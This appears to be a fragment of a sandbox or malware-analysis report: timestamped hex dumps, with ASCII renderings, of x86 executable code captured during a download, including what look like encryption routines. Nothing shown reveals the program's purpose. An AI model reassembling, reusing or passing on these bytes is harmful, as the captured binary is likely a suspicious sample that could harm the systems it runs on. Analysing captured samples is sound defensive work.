                                                                                                                                                  2022-12-04 11:05:57 UTC477INData Raw: c7 44 24 14 0c 00 00 00 c7 44 24 1c 01 00 00 00 89 74 24 18 8d 4c 24 14 e9 b0 00 00 00 e8 6f 18 fc ff 89 c5 83 c0 0c 89 44 24 08 8d 7c 24 20 eb 06 89 d6 85 f6 75 56 6a 00 8d 44 24 14 50 68 00 04 00 00 57 53 ff 15 d8 d8 4f 00 85 c0 0f 84 3f fe ff ff ff 74 24 10 57 ff 74 24 10 e8 d0 09 fc ff 83 c4 0c 8b 45 08 31 f6 83 f8 04 72 c5 8b 4d 04 8b 09 0f c9 ba ff ff ff ff 81 f9 00 00 04 00 77 af 83 c1 04 89 ca 39 c8 73 a6 eb a6 83 fe ff 0f 84 fc fd ff ff 55 e8 85 18 fc ff 83 c4 04 8b bc 24 3c 04 00 00 89 07 8b 84 24 40 04 00 00 89 30 89 c6 31 ed c7 44 24 04 00 00 00 00 e9 4f fe ff ff 56 ff 15 b0 d8 4f 00 31 f6 31 c9 57 68 00 00 04 00 6a 00 6a 04 51 6a ff ff 15 44 d7 4f 00 89 c3 83 c0 01 83 f8 01 77 12 57 e8 11 12 fc ff 83 c4 04 8b 5c 24 04 e9 de 00 00 00 89 74 24
                                                                                                                                                  Data Ascii: D$D$t$L$oD$|$ uVjD$PhWSO?t$Wt$E1rMw9sU$<$@01D$OVO11WhjjQjDOwW\$t$
                                                                                                                                                  2022-12-04 11:05:57 UTC485INData Raw: 8b 50 04 8b 48 08 01 ce 89 f0 d3 e3 09 d3 8b 34 24 89 5e 04 89 46 08 83 f8 08 7c 2e 90 90 90 90 90 8b 06 83 c0 0c 0f b6 cb 51 50 e8 41 eb fb ff 83 c4 08 8b 5e 04 8b 46 08 c1 eb 08 89 5e 04 8d 48 f8 89 4e 08 83 f8 0f 7f d7 2b 6c 24 0c 89 6c 24 04 be ff ff ff ff ba 1e 00 00 00 8b 4c 24 28 eb 0f 89 fa 90 90 90 90 90 90 90 90 90 90 90 90 90 89 d0 29 f0 83 f8 01 7f 1f 68 22 02 00 00 68 20 55 4f 00 68 4e 6f 4f 00 89 d7 e8 44 36 03 00 89 fa 8b 4c 24 34 83 c4 0c 8d 04 16 89 c7 c1 ef 1f 01 c7 d1 ff 8d 2c 7f 8b 1c ad 14 56 4d 00 39 cb 7f af 89 fe 39 0c ad 18 56 4d 00 7c b3 8b 34 24 8b 46 08 83 f8 1c 7c 1a 68 61 01 00 00 68 20 55 4f 00 68 b2 6e 4f 00 e8 f7 35 03 00 83 c4 0c 8b 46 08 0f bf 0c ad 10 56 4d 00 0f b6 14 cd b4 53 4d 00 89 c1 d3 e2 0b 56 04 8d 48 05 89 56
                                                                                                                                                  Data Ascii: PH4$^F|.QPA^F^HN+l$l$L$()h"h UOhNoOD6L$4,VM99VM|4$F|hah UOhnO5FVMSMVHV
                                                                                                                                                  2022-12-04 11:05:57 UTC493INData Raw: 0c 56 e8 9a da fb ff 83 c4 04 89 c6 8b 4c 24 10 31 e1 e8 ba 1f 02 00 89 f0 83 c4 14 5e 5f 5b c3 cc 57 56 8b 7c 24 0c 6a 00 6a 04 6a 04 e8 bf d3 fb ff 83 c4 0c 89 c6 c7 00 00 00 00 00 c7 40 04 00 00 00 00 c7 40 08 00 00 00 00 c7 40 0c 00 00 00 00 57 e8 19 fd ff ff 83 c4 04 89 06 89 f0 5e 5f c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 53 57 56 8b 7c 24 14 6a 00 6a 02 ff 77 14 e8 4c ea fe ff 83 c4 0c 89 c6 6a 00 6a 02 ff 77 18 e8 3b ea fe ff 83 c4 0c 85 f0 0f 84 24 01 00 00 ff 77 18 ff 77 14 e8 75 f4 fe ff 83 c4 08 89 c6 ff 77 08 50 e8 87 ea fe ff 83 c4 08 89 fd 89 c7 56 e8 aa cc fe ff 83 c4 04 ff 75 14 e8 cf d3 fe ff 83 c4 04 89 c6 6a 00 6a 01 50 50 e8 af db fe ff 83 c4 10 56 ff 75 10 ff 75 0c e8 50 04 ff ff 83 c4 0c 89 c3 56 e8 75 cc fe ff 83 c4 04
                                                                                                                                                  Data Ascii: VL$1^_[WV|$jjj@@@W^_USWV|$jjwLjjw;$wwuwPVujjPPVuuPVu
                                                                                                                                                  2022-12-04 11:05:57 UTC501INData Raw: 5c 24 08 0f ad df 89 de d3 ee f6 c1 20 0f 44 f7 8b 3c 24 0f a4 f8 02 01 f6 83 e6 02 84 c9 0f b6 8a f5 5b 4d 00 0f 48 f5 8d 3c be 8b 74 24 04 0f ad de d3 eb f6 c1 20 0f 44 de 83 e3 01 84 c9 0f 48 dd 09 fb 89 de 83 c2 02 75 a6 31 c9 90 90 90 90 89 4c 24 04 8a 0c 8d 34 5c 4d 00 0f a5 f0 d3 e6 f6 c1 20 0f 45 c6 b9 00 00 00 00 0f 45 f1 89 c1 c1 e9 1c 89 f2 c1 ea 1c 09 c8 09 d6 25 ff ff ff 0f 81 e6 ff ff ff 0f ba e0 ff ff ff 31 db 31 ff 89 34 24 90 90 90 90 90 90 90 90 90 90 90 90 90 0f b6 8a 14 5c 4d 00 89 f5 0f ad c5 89 c6 d3 ee f6 c1 20 0f 44 f5 0f a4 df 02 01 f6 83 e6 02 84 c9 0f b6 8a 15 5c 4d 00 bd 00 00 00 00 0f 48 f5 8d 34 9e 8b 2c 24 0f ad c5 89 c3 d3 eb f6 c1 20 0f 44 dd 31 ed 83 e3 01 84 c9 0f 48 dd 09 f3 8b 34 24 83 c2 02 75 a9 8b 54 24 0c c1 e2 07
                                                                                                                                                  Data Ascii: \$ D<$[MH<t$ DHu1L$4\M EE%114$\M D\MH4,$ D1H4$uT$
                                                                                                                                                  2022-12-04 11:05:57 UTC508INData Raw: 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 44 24 04 8b 4c 24 08 8b 09 ff 71 60 ff 70 60 e8 5b 12 03 00 83 c4 08 c3 cc cc cc cc cc cc cc 53 57 56 8b 5c 24 14 8b 44 24 10 68 10 fb 47 00 ff 33 ff 30 e8 57 b4 fb ff 83 c4 0c 85 c0 74 35 89 c7 e8 d9 9a fb ff 89 c6 83 c0 0c 8b 0b 50 53 ff 51 1c 83 c4 08 8b 4e 08 8b 47 04 3b 48 08 75 18 51 ff 30 ff 36 e8 32 f2 01 00 83 c4 0c 85 c0 0f 94 c3 eb 06 31 db eb 0b 31 db 56 e8 5f 9b fb ff 83 c4 04 89 d8 5e 5f 5b c3 cc cc cc cc cc cc 8b 44 24 04 68 10 fb 47 00 ff 74 24 0c ff 30 e8 ec b3 fb ff 83 c4 0c 85 c0 0f 95 c0 c3 cc cc cc 8b 44 24 04 ff 30 e8 b5 a6 fb ff 83 c4 04 85 c0 0f 9f c0 c3 cc cc cc cc cc cc cc cc cc cc cc cc 53 57 56 83 ec 08 8b 44 24 18 8b 0d 34 00 50 00 31 e1 89 4c 24 04 89 e1 6a 0a 51 50 e8 e1
                                                                                                                                                  Data Ascii: [D$L$q`p`[SWV\$D$hG30Wt5PSQNG;HuQ06211V_^_[D$hGt$0D$0SWVD$4P1L$jQP
                                                                                                                                                  2022-12-04 11:05:57 UTC516INData Raw: 83 c4 04 ff 34 24 e8 66 32 fe ff 83 c4 04 68 f5 4b 4e 00 e9 f3 ea ff ff ff b5 3c 01 00 00 e8 5e e1 ff ff 83 c4 04 84 c0 0f 85 1d eb ff ff 83 7d 6c 00 0f 84 f0 01 00 00 c6 85 5f 02 00 00 01 e9 07 eb ff ff ff b5 d8 01 00 00 ff b5 3c 01 00 00 e8 9c e0 ff ff 83 c4 08 84 c0 74 5f 56 e8 5f 76 fb ff 83 c4 04 e9 e1 ea ff ff e8 82 7b fb ff 89 c6 83 c0 0c 8b 8d d8 01 00 00 8b 11 50 51 ff 52 1c 83 c4 08 8b 85 d0 01 00 00 ff 70 08 ff 70 04 ff 76 08 ff 76 04 e8 e6 77 fb ff 83 c4 10 89 c3 56 e8 0b 7c fb ff 83 c4 04 84 db 0f 85 9a ea ff ff 68 3f 5a 4e 00 e9 81 f4 ff ff 68 24 b4 4e 00 e8 2c 6b fb ff 83 c4 04 50 ff b5 78 03 00 00 e8 1d 35 fa ff 83 c4 08 56 68 47 13 4e 00 e8 0f 6b fb ff 83 c4 08 50 ff b5 78 03 00 00 e8 00 35 fa ff 83 c4 08 56 e8 c7 75 fb ff 83 c4 04 68 97
                                                                                                                                                  Data Ascii: 4$f2hKN<^}l_<t_V_v{PQRppvvwV|h?ZNh$N,kPx5VhGNkPx5Vuh
                                                                                                                                                  2022-12-04 11:05:57 UTC524INData Raw: c4 18 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc 55 53 57 56 83 ec 78 89 d7 89 ce 8b ac 24 90 00 00 00 a1 34 00 50 00 31 e0 89 44 24 74 8b 42 04 50 ff 10 83 c4 04 89 c3 85 c0 74 09 8b 03 53 ff 50 04 83 c4 04 55 ff b4 24 90 00 00 00 ff 73 04 e8 5b 4e fb ff 83 c4 0c 8b 03 8d 6c 24 02 55 53 ff 50 0c 83 c4 08 8b 03 53 ff 50 10 83 c4 04 8b 47 04 ff 70 14 55 e8 b5 52 fe ff 83 c4 08 89 c7 50 e8 7a 58 fe ff 83 c4 04 89 c3 ff 76 20 e8 6d 58 fe ff 83 c4 04 31 c9 29 c3 0f 48 d9 53 57 e8 dc 78 fe ff 83 c4 08 89 c6 57 e8 c1 4f fe ff 83 c4 04 8b 4c 24 74 31 e1 e8 13 a2 01 00 89 f0 83 c4 78 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc 55 53 57 56 83 ec 10 89 d3 89 ce a1 34 00 50 00 31 e0 89 44 24 0c 89 cd 80 7c 24 28 00 75 0d e8 bc 5b fb ff 89 04 24 89 c5 83 c5 0c 53 e8
                                                                                                                                                  Data Ascii: ^_[]USWVx$4P1D$tBPtSPU$s[Nl$USPSPGpURPzXv mX1)HSWxWOL$t1x^_[]USWV4P1D$|$(u[$S
                                                                                                                                                  2022-12-04 11:05:57 UTC532INData Raw: 01 c0 50 57 e8 38 ff fd ff 83 c4 08 57 e8 2f 38 fb ff 83 c4 04 8b 06 8b 76 18 01 c0 50 56 e8 1e ff fd ff 83 c4 08 56 e8 15 38 fb ff 83 c4 04 5e 5f e9 0b 38 fb ff cc cc cc cc cc cc cc cc cc cc cc 55 53 57 56 83 ec 08 8b 5c 24 20 89 d8 c1 e0 04 8d 2c 03 81 c5 80 00 00 00 8d b4 03 a0 00 00 00 68 b0 89 42 00 55 e8 e5 a2 fe ff 83 c4 08 56 50 e8 ab 2f fe ff 83 c4 08 89 c6 85 db 74 21 31 ff 83 c5 ff 55 56 e8 46 38 fe ff 83 c4 08 83 c0 01 8b 4c 24 1c 66 89 04 79 83 c7 01 39 fb 75 e1 55 56 e8 9a 5c fe ff 83 c4 08 6a 40 e8 10 2f fe ff 83 c4 04 89 04 24 85 db 74 57 8b 7c 24 24 90 90 89 5c 24 04 0f b7 c3 50 56 56 e8 11 36 fe ff 83 c4 0c 55 56 89 f3 8b 74 24 08 56 e8 f0 3f fe ff 83 c4 0c 55 53 e8 56 5c fe ff 83 c4 08 56 89 de 8b 5c 24 08 e8 07 38 fe ff 83 c4 04 29 f8
                                                                                                                                                  Data Ascii: PW8W/8vPVV8^_8USWV\$ ,hBUVP/t!1UVF8L$fy9uUV\j@/$tW|$$\$PVV6UVt$V?USV\V\$8)
                                                                                                                                                  2022-12-04 11:05:57 UTC540INData Raw: 8b 07 8b 70 30 81 fe 01 01 00 00 72 14 6a 28 68 d6 3c 4f 00 68 5e 6d 4f 00 e8 f6 5b 02 00 83 c4 0c 8b 9c 24 28 01 00 00 66 c7 87 fc fe ff ff 00 00 31 c9 90 90 90 90 90 90 90 90 90 90 90 90 90 90 88 8c 0f fe fe ff ff 89 c8 31 d2 f7 f6 0f b6 04 13 88 44 0c 0c 8d 41 01 88 84 0f ff fe ff ff 31 d2 f7 f6 0f b6 04 13 88 44 0c 0d 83 c1 02 81 f9 00 01 00 00 75 ca 31 c9 31 c0 90 90 90 90 90 90 0f b6 94 07 fe fe ff ff 01 d1 89 d6 0f b6 54 04 0c 01 ca 0f b6 ca 0f b6 9c 0f fe fe ff ff 88 9c 07 fe fe ff ff 89 f3 88 9c 0f fe fe ff ff 0f b6 9c 07 ff fe ff ff 01 da 0f b6 4c 04 0d 01 d1 0f b6 c9 0f b6 94 0f fe fe ff ff 88 94 07 ff fe ff ff 88 9c 0f fe fe ff ff 83 c0 02 3d 00 01 00 00 75 9e 6a 00 6a 01 68 00 06 00 00 e8 80 17 fb ff 83 c4 0c 68 00 06 00 00 6a 00 89 44 24 0c
                                                                                                                                                  Data Ascii: p0rj(h<Oh^mO[$(f11DA1Du11TL=ujjhhjD$
                                                                                                                                                  2022-12-04 11:05:57 UTC547INData Raw: 01 00 89 f0 83 c4 08 5e 5f 5b 5d c3 cc cc cc cc cc 55 53 57 56 83 ec 5c 8b 4c 24 74 8b 5c 24 70 a1 34 00 50 00 31 e0 89 44 24 58 8b 6b 68 ff 71 10 e8 4b f6 fa ff 83 c4 04 89 d6 8d 7c 24 2c 89 d9 89 c2 57 56 e8 67 1b 00 00 83 c4 08 85 c0 0f 84 a0 04 00 00 89 44 24 24 e8 93 fe fa ff 89 44 24 1c 8b 4c 24 2c 8b 41 04 89 4c 24 20 8b 49 08 89 44 24 44 89 4c 24 4c c7 44 24 48 00 00 00 00 c7 44 24 50 00 00 00 00 8d 44 24 44 89 44 24 54 50 e8 eb f5 fa ff 83 c4 04 8b 55 04 85 d2 89 6c 24 14 74 71 8b 45 00 89 04 24 8d 4a ff 89 d0 83 e0 03 83 f9 03 89 54 24 0c 73 63 31 db 31 c9 85 c0 74 20 8b 14 24 8d 0c 8a 31 d2 90 90 90 90 90 90 8b 34 91 83 c6 01 39 f3 0f 42 de 83 c2 01 39 d0 75 ee 85 db 89 5c 24 08 0f 84 86 00 00 00 6a 08 53 6a 00 e8 78 f8 fa ff 83 c4 0c 89 c6 8d
                                                                                                                                                  Data Ascii: ^_[]USWV\L$t\$p4P1D$XkhqK|$,WVgD$$D$L$,AL$ ID$DL$LD$HD$PD$DD$TPUl$tqE$JT$sc11t $149B9u\$jSjx
                                                                                                                                                  2022-12-04 11:05:57 UTC555INData Raw: 8b 74 8d 04 83 c7 01 39 fb 0f 43 fb 83 c6 01 39 f7 72 02 89 fe 8b 7c 8d 08 83 c7 01 39 fe 72 02 89 f7 8b 5c 8d 0c 83 c3 01 39 df 72 c4 89 fb eb c0 53 57 56 83 ec 18 89 d6 89 cf a1 34 00 50 00 31 e0 89 44 24 14 8b 41 48 8b 40 68 ff 70 18 ff 72 08 e8 6a d3 fa ff 83 c4 08 8b 07 ff 70 08 ff 70 04 ff 76 08 e8 07 d3 fa ff 83 c4 0c e8 3f df fa ff 89 c3 83 c0 0c 8b 4f 44 8b 11 50 51 ff 52 1c 83 c4 08 8b 43 04 8b 4b 08 89 04 24 89 4c 24 08 c7 44 24 04 00 00 00 00 c7 44 24 0c 00 00 00 00 89 e0 89 44 24 10 50 e8 94 d6 fa ff 83 c4 04 8b 44 24 10 8b 48 04 8b 50 08 29 ca 03 08 52 51 ff 76 08 e8 e9 d0 fa ff 83 c4 0c 53 e8 a0 df fa ff 83 c4 04 ff 77 0c ff 77 08 ff 76 08 e8 3f d2 fa ff 83 c4 0c ff 77 10 ff 76 08 e8 f1 d1 fa ff 83 c4 08 8b 47 14 ff 70 08 ff 70 04 ff 76 08
                                                                                                                                                  Data Ascii: t9C9r|9r\9rSWV4P1D$AH@hprjppv?ODPQRCK$L$D$D$D$PD$HP)RQvSwwv?wvGppv
                                                                                                                                                  2022-12-04 11:05:57 UTC563INData Raw: 24 8b 74 c1 08 89 f5 c1 ed 1f 0f af eb 8d 14 36 89 d8 f7 e2 01 ea 01 f3 8b 34 24 13 7c f1 0c 01 c3 11 d7 89 5c f1 08 89 7c f1 0c 8b 44 24 18 33 7c 01 0c 33 5c 01 08 89 fd 0f a4 dd 10 0f a4 fb 10 89 5c 01 0c 89 6c 01 08 8b 44 24 04 8b 74 c1 08 89 f7 c1 ef 1f 0f af fd 8d 14 36 89 e8 f7 e2 01 fa 01 f5 8b 74 24 04 13 5c f1 0c 01 c5 11 d3 89 6c f1 08 89 5c f1 0c 8b 54 24 0c 33 5c d1 0c 33 6c d1 08 89 e8 0f a4 d8 01 0f ac dd 1f 89 6c d1 0c 89 44 d1 08 8b 29 89 ee c1 ee 1f 8b 5c 24 10 8b 7c 19 08 89 e8 01 e8 f7 e7 0f af f7 01 f2 01 fd 8b 79 04 13 7c 19 0c 01 c5 11 d7 89 29 89 79 04 8b 44 24 18 33 7c 01 0c 33 6c 01 08 89 6c 01 0c 89 7c 01 08 8b 44 24 04 8b 34 c1 8d 14 36 89 f8 f7 e2 89 f3 c1 eb 1f 0f af df 01 da 01 f7 8b 74 24 04 13 6c f1 04 01 c7 11 d5 89 3c f1
                                                                                                                                                  Data Ascii: $t64$|\|D$3|3\\lD$t6t$\l\T$3\3llD)\$|y|)yD$3|3ll|D$46t$l<
                                                                                                                                                  2022-12-04 11:05:57 UTC571INData Raw: 56 ff 50 04 83 c4 04 8b 4c 24 08 31 e1 e8 3f e7 00 00 83 c4 0c 5e 5f 5b 5d c3 cc cc cc cc cc cc cc 55 53 57 56 50 8b 5c 24 28 8b 74 24 24 0f b6 6c 24 30 6a 00 68 50 20 00 00 6a 01 e8 30 9b fa ff 83 c4 0c 89 c7 05 4c 20 00 00 89 04 24 c7 87 4c 20 00 00 70 84 4d 00 89 b7 40 20 00 00 89 9f 44 20 00 00 8b 44 24 2c 89 87 48 20 00 00 c7 87 3c 20 00 00 00 00 00 00 c7 47 18 00 00 00 00 8d 47 1c 50 e8 59 f2 fa ff 83 c4 04 8d 47 30 50 e8 8d f2 ff ff 83 c4 04 8b 44 24 1c 89 47 04 55 57 68 10 f6 48 00 50 e8 a6 64 fd ff 83 c4 10 89 47 10 8b 44 24 18 89 07 55 57 68 c0 f6 48 00 50 e8 6d 67 fd ff 83 c4 10 89 47 0c 8b 44 24 20 89 47 08 85 c0 74 13 55 57 68 30 f7 48 00 50 e8 6f 64 fd ff 83 c4 10 89 47 14 66 c7 87 38 20 00 00 00 00 57 68 70 f7 48 00 e8 b5 61 f9 ff 83 c4 08
                                                                                                                                                  Data Ascii: VPL$1?^_[]USWVP\$(t$$l$0jhP j0L $L pM@ D D$,H < GGPYG0PD$GUWhHPdGD$UWhHPmgGD$ GtUWh0HPodGf8 WhpHa
                                                                                                                                                  2022-12-04 11:05:57 UTC579INData Raw: e8 cc 7c fa ff 83 c4 18 89 46 08 8b 3e 8d 47 01 89 06 55 e8 49 d3 fa ff 83 c4 04 8b 4e 08 c1 e7 02 8d 3c 7f 89 04 39 8b 46 08 c7 44 38 04 02 00 00 00 53 e8 a9 7c fd ff 83 c4 04 8b 4e 08 89 44 39 08 83 c4 04 5e 5f 5b 5d c3 cc cc cc cc cc cc cc 55 53 57 56 8b 74 24 14 83 3e 00 74 4c 31 ff bb 08 00 00 00 eb 20 90 90 90 90 90 90 90 90 90 90 ff 74 1d 00 e8 37 82 fa ff 83 c4 04 83 c7 01 83 c3 0c 3b 3e 73 23 8b 6e 08 ff 74 1d f8 e8 2e 7c fa ff 83 c4 04 83 7c 1d fc 02 72 d4 75 1f ff 74 1d 00 e8 09 75 fd ff eb d0 ff 76 08 e8 0f 7c fa ff 83 c4 04 5e 5f 5b 5d e9 03 7c fa ff 6a 58 68 b2 3a 4f 00 68 08 8e 4f 00 e8 05 bf 01 00 83 c4 0c e8 8a 54 f7 ff cc cc cc cc cc cc cc cc cc cc 53 57 56 8b 44 24 10 8b 78 28 8b 37 85 f6 74 3c 83 c7 04 90 90 90 90 90 90 90 90 90 90 90
                                                                                                                                                  Data Ascii: |F>GUIN<9FD8S|ND9^_[]USWVt$>tL1 t7;>s#nt.||rutuv|^_[]|jXh:OhOTSWVD$x(7t<
                                                                                                                                                  2022-12-04 11:05:57 UTC586INData Raw: 56 fd ff 83 c4 04 ff 74 24 14 e8 62 56 fd ff 83 c4 04 ff 74 24 28 e8 56 56 fd ff 83 c4 04 ff 74 24 30 e8 4a 56 fd ff 83 c4 04 ff 34 24 e8 3f 56 fd ff 83 c4 04 ff 74 24 0c e8 33 56 fd ff 83 c4 04 ff 74 24 24 e8 27 56 fd ff 83 c4 04 53 e8 1e 56 fd ff 83 c4 04 89 f8 83 c4 3c 5e 5f 5b 5d c3 cc 55 53 57 56 83 ec 10 8b 6c 24 24 55 55 e8 6e fd ff ff 83 c4 08 89 c6 8b 5d 10 6a 00 6a 14 6a 01 e8 6b 5c fa ff 83 c4 0c 89 c7 89 58 10 c7 00 00 00 00 00 c7 40 04 00 00 00 00 c7 40 08 00 00 00 00 c7 40 0c 00 00 00 00 ff 75 00 e8 f0 5c fd ff 83 c4 04 89 07 ff 75 04 e8 e3 5c fd ff 83 c4 04 89 47 04 ff 75 08 e8 d5 5c fd ff 83 c4 04 89 47 08 ff 75 0c e8 c7 5c fd ff 83 c4 04 89 47 0c 8b 5e 10 6a 00 6a 14 6a 01 e8 03 5c fa ff 83 c4 0c 89 58 10 89 c3 c7 00 00 00 00 00 c7 40 04
                                                                                                                                                  Data Ascii: Vt$bVt$(VVt$0JV4$?Vt$3Vt$$'VSV<^_[]USWVl$$UUn]jjjk\X@@@u\u\Gu\Gu\G^jjj\X@
                                                                                                                                                  2022-12-04 11:05:57 UTC594INData Raw: 0f 6f dc 66 0f 38 29 da 66 0f db d9 66 0f 73 fb 08 66 0f d4 dc 66 0f 7f 5a ec 83 c1 10 39 c1 0f 82 4c ff ff ff c3 cc cc cc cc cc cc cc cc cc cc cc 8b 44 24 0c 85 c0 0f 8e ea 00 00 00 8b 4c 24 08 8b 54 24 04 01 c8 66 0f 6f 5a ec 66 0f 6f 05 70 8a 4d 00 66 0f 6f 0d 80 8a 4d 00 66 0f ef d2 90 66 0f 38 00 d8 66 0f ef 9a 0c fe ff ff 66 0f 38 dc 9a 1c fe ff ff 66 0f 38 dc 9a 2c fe ff ff 66 0f 38 dc 9a 3c fe ff ff 66 0f 38 dc 9a 4c fe ff ff 66 0f 38 dc 9a 5c fe ff ff 66 0f 38 dc 9a 6c fe ff ff 66 0f 38 dc 9a 7c fe ff ff 66 0f 38 dc 9a 8c fe ff ff 66 0f 38 dc 9a 9c fe ff ff 66 0f 38 dc 9a ac fe ff ff 66 0f 38 dc 9a bc fe ff ff 66 0f 38 dc 9a cc fe ff ff 66 0f 38 dc 9a dc fe ff ff 66 0f 38 dd 9a ec fe ff ff f3 0f 6f 21 66 0f ef e3 f3 0f 7f 21 66 0f 6f 62 ec 66 0f
                                                                                                                                                  Data Ascii: of8)ffsffZ9LD$L$T$foZfopMfoMff8ff8f8,f8<f8Lf8\f8lf8|f8f8f8f8f8f8f8o!f!fobf
                                                                                                                                                  2022-12-04 11:05:57 UTC602INData Raw: 24 89 f1 c1 e9 07 89 fb c1 eb 07 31 fb 31 f1 be aa 00 aa 00 21 f1 be aa 00 aa 00 21 f3 c1 e8 18 88 45 03 88 55 04 88 75 05 89 d0 c1 e8 10 88 45 06 89 d8 c1 e0 07 01 d8 31 f8 c1 ea 18 88 55 07 88 45 08 88 65 09 89 c2 c1 ea 10 88 55 0a 89 ca c1 e2 07 01 ca 33 14 24 c1 e8 18 88 45 0b 88 55 0c 88 75 0d 89 d0 c1 e8 10 88 45 0e c1 ea 18 88 55 0f 83 c4 5c 5e 5f 5b 5d c3 cc cc cc cc cc cc cc 55 53 57 56 81 ec c4 00 00 00 89 d3 89 4c 24 58 8b 84 24 d8 00 00 00 8b 0d 34 00 50 00 31 e1 89 8c 24 c0 00 00 00 c7 84 24 bc 00 00 00 00 00 00 00 c7 84 24 b8 00 00 00 00 00 00 00 c7 84 24 b4 00 00 00 00 00 00 00 c7 84 24 b0 00 00 00 00 00 00 00 c7 84 24 ac 00 00 00 00 00 00 00 c7 84 24 a8 00 00 00 00 00 00 00 c7 84 24 a4 00 00 00 00 00 00 00 c7 84 24 a0 00 00 00 00 00 00 00
                                                                                                                                                  Data Ascii: $11!!EUuE1UEeU3$EUuEU\^_[]USWVL$X$4P1$$$$$$$$$
                                                                                                                                                  2022-12-04 11:05:57 UTC610INData Raw: 24 0c 31 6c 24 28 8b 6c 24 38 31 e9 89 4c 24 14 8b 4c 24 28 31 e9 31 d3 31 c6 31 74 24 04 31 d6 33 7c 24 10 31 fe 89 f8 8b 54 24 08 31 d0 8b 7c 24 14 31 c7 33 44 24 24 31 ca 89 54 24 08 8b 6c 24 3c 31 c5 31 c8 89 44 24 30 31 7c 24 04 31 df 8b 54 24 0c 31 ea 89 54 24 0c 33 6c 24 2c 8b 44 24 20 33 44 24 10 8b 4c 24 08 31 ca 89 54 24 24 31 c8 8b 5c 24 1c 8b 4c 24 04 31 cb 31 c8 89 44 24 20 89 74 24 34 89 f0 c1 e8 08 31 f0 25 cc 00 cc 00 89 c2 c1 e2 08 09 c2 31 f2 89 d0 c1 e0 0c 25 00 a0 00 a0 89 d1 81 e2 55 55 55 55 09 c2 c1 e9 04 81 e1 aa 0a aa 0a 09 ca 89 54 24 04 89 7c 24 14 89 f8 c1 e8 08 31 f8 25 cc 00 cc 00 89 c2 c1 e2 08 09 c2 31 fa 89 d0 c1 e0 0c 25 00 a0 00 a0 89 d1 81 e2 55 55 55 55 09 c2 c1 e9 04 81 e1 aa 0a aa 0a 09 ca 89 54 24 08 89 5c 24 1c 89
                                                                                                                                                  Data Ascii: $1l$(l$81L$L$(1111t$13|$1T$1|$13D$$1T$l$<11D$01|$1T$1T$3l$,D$ 3D$L$1T$$1\$L$11D$ t$41%1%UUUUT$|$1%1%UUUUT$\$
                                                                                                                                                  2022-12-04 11:05:57 UTC618INData Raw: 4c 8b 5c 24 3c 8b 54 24 6c 01 d3 8b 4c 24 78 8b 74 24 5c 11 f1 8b 04 24 0f b6 80 1c 8f 4d 00 03 9c c4 88 00 00 00 89 5c 24 3c 13 8c c4 8c 00 00 00 31 4c 24 30 8b 7c 24 40 31 df 8b 44 24 20 03 44 24 30 89 44 24 20 8b 5c 24 1c 11 fb 89 5c 24 1c 31 c2 31 de 89 d3 0f a4 f3 08 0f a4 d6 08 8b 04 24 0f b6 80 1d 8f 4d 00 8b 54 24 3c 03 94 c4 88 00 00 00 13 8c c4 8c 00 00 00 01 f2 89 54 24 3c 11 d9 89 4c 24 78 31 cf 8b 4c 24 30 31 d1 89 c8 0f a4 f8 10 89 44 24 40 0f ac f9 10 89 4c 24 30 8b 54 24 20 01 ca 89 54 24 20 8b 4c 24 1c 11 c1 89 4c 24 1c 31 cb 31 d6 89 d8 0f a4 f0 01 89 44 24 6c 0f a4 de 01 89 74 24 5c 8b 7c 24 70 8b 54 24 48 01 fa 8b 4c 24 64 13 4c 24 24 8b 04 24 0f b6 80 1e 8f 4d 00 03 94 c4 88 00 00 00 13 8c c4 8c 00 00 00 8b 5c 24 2c 31 cb 89 5c 24 2c
                                                                                                                                                  Data Ascii: L\$<T$lL$xt$\$M\$<1L$0|$@1D$ D$0D$ \$\$11$MT$<T$<L$x1L$01D$@L$0T$ T$ L$L$11D$lt$\|$pT$HL$dL$$$M\$,1\$,
                                                                                                                                                  2022-12-04 11:05:57 UTC626INData Raw: 24 8b 46 c8 8b 08 89 e7 6a 10 57 50 ff 51 10 83 c4 0c 66 0f 6f 04 24 66 0f 38 00 05 70 8a 4d 00 66 0f 7f 46 28 66 0f ef c0 66 0f 7f 46 18 6a 10 57 e8 0b 88 fc ff 83 c4 08 8b 4c 24 1c 31 e9 e8 4d 0c 00 00 8d 65 f8 5e 5f 5d c3 cc cc cc cc cc cc b8 8a fa 4e 00 c3 cc cc cc cc cc cc cc cc cc cc 55 53 57 56 50 8b 74 24 20 8b 7c 24 1c 8b 4c 24 18 8d 59 d4 8b 41 e8 8b 49 f4 29 c8 76 14 39 f0 0f 47 c6 01 c1 89 4b 20 29 c6 0f 84 6e 04 00 00 01 c7 8d 43 04 89 04 24 eb 0e 90 90 90 90 90 90 85 f6 0f 84 56 04 00 00 8b 43 18 8b 6b 24 29 e8 0f 86 91 02 00 00 39 f0 0f 47 c6 8b 4b 28 85 c9 0f 85 ca 00 00 00 83 f8 10 0f 82 c1 00 00 00 f3 0f 6f 07 66 0f 38 00 05 70 8a 4d 00 66 0f ef 43 50 66 0f 70 c8 ee 66 0f 6f 53 40 66 0f 70 da ee 66 0f ef c8 66 0f ef da 66 0f 3a 44 d9 00
                                                                                                                                                  Data Ascii: $FjWPQfo$f8pMfF(ffFjWL$1Me^_]NUSWVPt$ |$L$YAI)v9GK )nC$VCk$)9GK(of8pMfCPfpfoS@fpfff:D
                                                                                                                                                  2022-12-04 11:05:57 UTC633INData Raw: 0e 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff 85 c9 0f 85 80 07 00 00 8b 46 08 3b 42 08 0f 84 87 00 00 00 0f b6 c8 0f b6 42 08 2b c8 74 0e 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff 85 c9 0f 85 53 07 00 00 0f b6 4e 09 0f b6 42 09 2b c8 74 0e 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff 85 c9 0f 85 31 07 00 00 0f b6 4e 0a 0f b6 42 0a 2b c8 74 0e 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff 85 c9 0f 85 0f 07 00 00 0f b6 4e 0b 0f b6 42 0b 2b c8 74 0e 33 c0 85 c9 0f 9f c0 8d 0c 45 ff ff ff ff 85 c9 0f 85 ed 06 00 00 8b 46 0c 3b 42 0c 0f 84 87 00 00 00 0f b6 c8 0f b6 42 0c 2b c8 74 0e 33 c0 85 c9 0f 